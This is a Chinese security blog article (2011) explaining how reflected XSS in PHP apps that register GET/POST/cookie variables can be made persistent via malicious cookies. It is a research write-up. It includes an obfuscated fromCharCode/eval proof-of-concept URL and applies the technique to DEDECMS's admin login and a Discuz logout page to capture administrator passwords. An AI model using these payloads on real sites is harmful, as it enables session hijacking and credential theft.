深掘XSS漏洞场景之XSS Rootkit[完整修订版]

分类:安全 | 2011-10-16 | 撸过 75 次
0人扯谈

0x00 前言

众所周知xss漏洞的风险定义一直比较模糊,XSS漏洞属于高危漏洞还是低风险漏洞一直以来都有所争议。XSS漏洞类型主要分为两种持久型和非持久型:

1. 非持久型XSS漏洞一般存在于URL参数中,需要访问黑客构造好的特定URL才能触发漏洞。

2. 持久型XSS漏洞一般存在于富文本等交互功能,如发帖留言等,黑客可以用XSS内容经正常功能进入数据库持久保存。

3. DOM XSS漏洞,也分为持久和非持久型两种,多是通过javascript DOM接口获取地址栏、referer或编码指定HTML标签内容造成。

一般持久型XSS漏洞比非持久型XSS漏洞风险等级高,从漏洞的本质上来说这是没错的,但漏洞的利用仍然需要看场景,有时候更深入的看待场景能够挖掘出意想不到的东西,大家接着往下看。

0x01 漏洞场景解析

首先我给出一段PHP分页的XSS漏洞的简单代码:

demo.php————————————————————-
<?php
foreach(Array(‘_GET’,’_POST’,’_cookie’) as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = $_v;
}
?>

<a href=”<? echo $_SERVER[“PHP_SELF”]; ?>?i=<? echo $id;?>”>分页</a>
———————————————————————

这段PHP代码中模拟register_globals是Web程序中常见的,代码中输出了网页的分页链接这个也是常见的,因为忽略了对传入数据的效验,更产生了最常见的XSS漏洞。

下面是这个XSS漏洞的验证方法:
http://127.0.0.1/demo.php?id=1″><script>alert(1)</script>

GET方法在id参数中传入HTML内容,导致网页内容中的herf闭合,执行script标签里的脚本内容:

<a href=”/demo.php?id=1″><script>alert(1)</script>”>分页</a>

这是一个典型的非持久型XSS漏洞,在常规的思维逻辑下,这个漏洞到这里基本就打止了,本文也马上要变为普通的科普文了,然而事实并没有那么简单,这个漏洞场景再深入挖掘,就牵出了本文的重头戏。

0x02 XSS Rootkit实现方法

我们知道操作系统有Rootkit这样的内核后门,Rootkit最大的特性之一就是隐蔽,普通的安全软件无法检测出系统中运作着Rootkit,以保证Rootkit后门能长久存活于系统中,而Web程序的漏洞很难达到这一效果,而我发现某些特定场景的XSS漏洞能够达到这一效果。

现今流行的PHP Web程序的都喜欢自己模拟register_globals(全局变量注册)这一特性,通过GET、POST、cookie等方法注册变量(本文下面的内容都简称GPC),通过GPC直接注册变量方便整个程序的运作,而本文的重点即是围绕这一点来展开的。

第一部分的我模拟的XSS漏洞即是一个典型的全局变量注册的场景,demo.php不仅可以GET传参,还能接受cookie传参,变量注册顺序是GPC,由于注册变量的流程是一个foreach循环,所以通过GP注册变量最后能被C覆盖,而cookie是客户端浏览器的持久化数据,如果通过XSS漏洞设置cookie,我们完全可以把这个典型的非持久型XSS漏洞变成持久的,说到这里大家一定感觉非常兴奋了,我就来实际测试一下:

先写出一段设置cookie的javascript代码

Persistence_data='”><script>alert(/xss/)</script>’;
var date=new Date();
var expireDays=365; //设置cookie一年后失效
date.setTime(date.getTime()+expireDays*24*3600*1000);
document.cookie=’id=’+Persistence_data+’;expires=’+date.toGMTString(); //设置cookie的id参数值为XSS代码

把设置cookie的javascript代码编码一次,放入XSS URL中,这样防止魔术引号和不同浏览器编码的未知情况影响我们的测试,关闭IE8/9等XSS筛选器后,我们访问下面的URL让XSS生效。

http://127.0.0.1/demo.php?id=1″><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,47,41,60,47,115,99,114,105,112,116,62,39,59,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,105,100,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59))</script>

结果令人非常满意,当我们关闭浏览器乃至关闭重启电脑后,再重新访问下面的网页:

无论是访问http://127.0.0.1/demo.php

还是访问http://127.0.0.1/demo.php?id=1

我们的XSS代码都会生效,同时如果客户端未清理cookie,这个XSS漏洞将有效一年的时间,达到了Rootkit隐蔽和能够持久存活的效果。

0x03 XSS Rootkit实战

DEDECMS后台登陆主页的模板中有个gotopage变量存在XSS漏洞,代码如下:

dede\templets\login.htm

65行左右

<input type=”hidden” name=”gotopage” value=”<?php if(!empty($gotopage)) echo $gotopage;?>” />

DEDECMS核心代码中,模拟全局变量注册机制的顺序是GPC,也就是C能够覆盖GP所注册的变量。

我们再套用0X02的代码测试,可以在cookie中持久化保存gotopage变量,如果管理员触发过我们的XSS漏洞,我们就能在管理员的cookie中持久化保存gotopage变量,将gotopage隐藏表单值变为我们的任意脚本内容,以后管理员只要是访问后台页面都会触发XSS漏洞,我们完全可以劫持管理员的整个登陆过程,悄无声息的直接获取管理员的密码。

当然DEDECMS这个漏洞的如何灵活运用更取决于黑客的发散思维,比如IE8/9等会拦截URL XSS,我们可以利用一个持久型的XSS或DOM XSS做为这类XSS Rootkit漏洞的payload,另外cookie的设置不限于同源策略,在任意子域名设置的cookie,可以让整个域名的应用都接受这个cookie,黑客可以脱离于DEDECMS程序本身的限制,在整个网站架构上的薄弱点攻击DEDECMS的后台。

0x04 深入XSS Rootkit场景

在PHP全局变量注册机制的场景下,调整GPC的注册变量的顺序可以减弱XSS Rootkit攻击效果,如discuz程序:

foreach(array(‘_COOKIE’, ‘_POST’, ‘_GET’) as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != ‘_’ && $$_key = daddslashes($_value);
}
}

注册变量的顺序是CPG,我们的C始终都不能覆盖GP所注册过的变量,不过程序的某个流程导致变量未初始化,还是能产生XSS Rootkit效果,如

http://xx.163.com/logging.php?action=logout&referer=javascript:alert()&formhash=rootkit

在DISCUZ程序的退出代码存在一个XSS漏洞,在用户没有登陆的情况下,退出代码中的referer变量没有初始化,导致我们能任意控制这个变量。

在这个情况下我们不用担心CPG的注册顺序问题,但我们需要构造特定的URL,造成变量未初始化的情况才能触发XSS漏洞,这样XSS Rootkit攻击效果就大打折扣了,用户在登陆后的正常退出操作是不能触发我们的XSS漏洞的,已脱离了XSS Rookit的优势。

另外一个场景是滥用request类变量的情况,在不同脚本和服务器环境中request类变量的效果可能不同,如在我之前的《浅谈绕过WAF的数种方法》提到了asp/asp .net等request类变量有复参特性,所以gpc的内容都能同时进入注册变量,也可能会产生XSS Rootkit漏洞的情况。

最后还有一类特殊的DOM XSS情况,80sec的成员疯狗在几年前发现过,某大型网站的主页读取COOKIE中的用户ID在网页中显示并没有进行HTML编码,导致一个XSS漏洞即可在主页中安装XSS Rookit。

当然还有更多的场景,在剑心的《web应用程序中的rootkit》也都有提过,XSS Rootkit的场景我就解读到这里了,更多的场景就留给大家思维发散了。

0x05 后话

至此我们用非持久型XSS漏洞完成了一次到XSS Rootkit的转变,再一次揭示了漏洞的场景有多么重要,深掘漏洞场景完成一次本质的升华是多么美妙的事情。

程序员需要重视程序安全的每一个细节,任何一个不起眼的漏洞都可能会造成意想不到的危害。

一些web漏洞扫描器报告中提示非持久型XSS漏洞标为高危漏洞,普遍存在争议的情况,可以根据本文做参考,对场景再深入挖掘来定义风险,那么本文最重要的目的也就达到了。

本站内容均为原创,转载请务必保留署名与链接!
深掘XSS漏洞场景之XSS Rootkit[完整修订版]:https://www.webshell.cc/1855.html

随机日志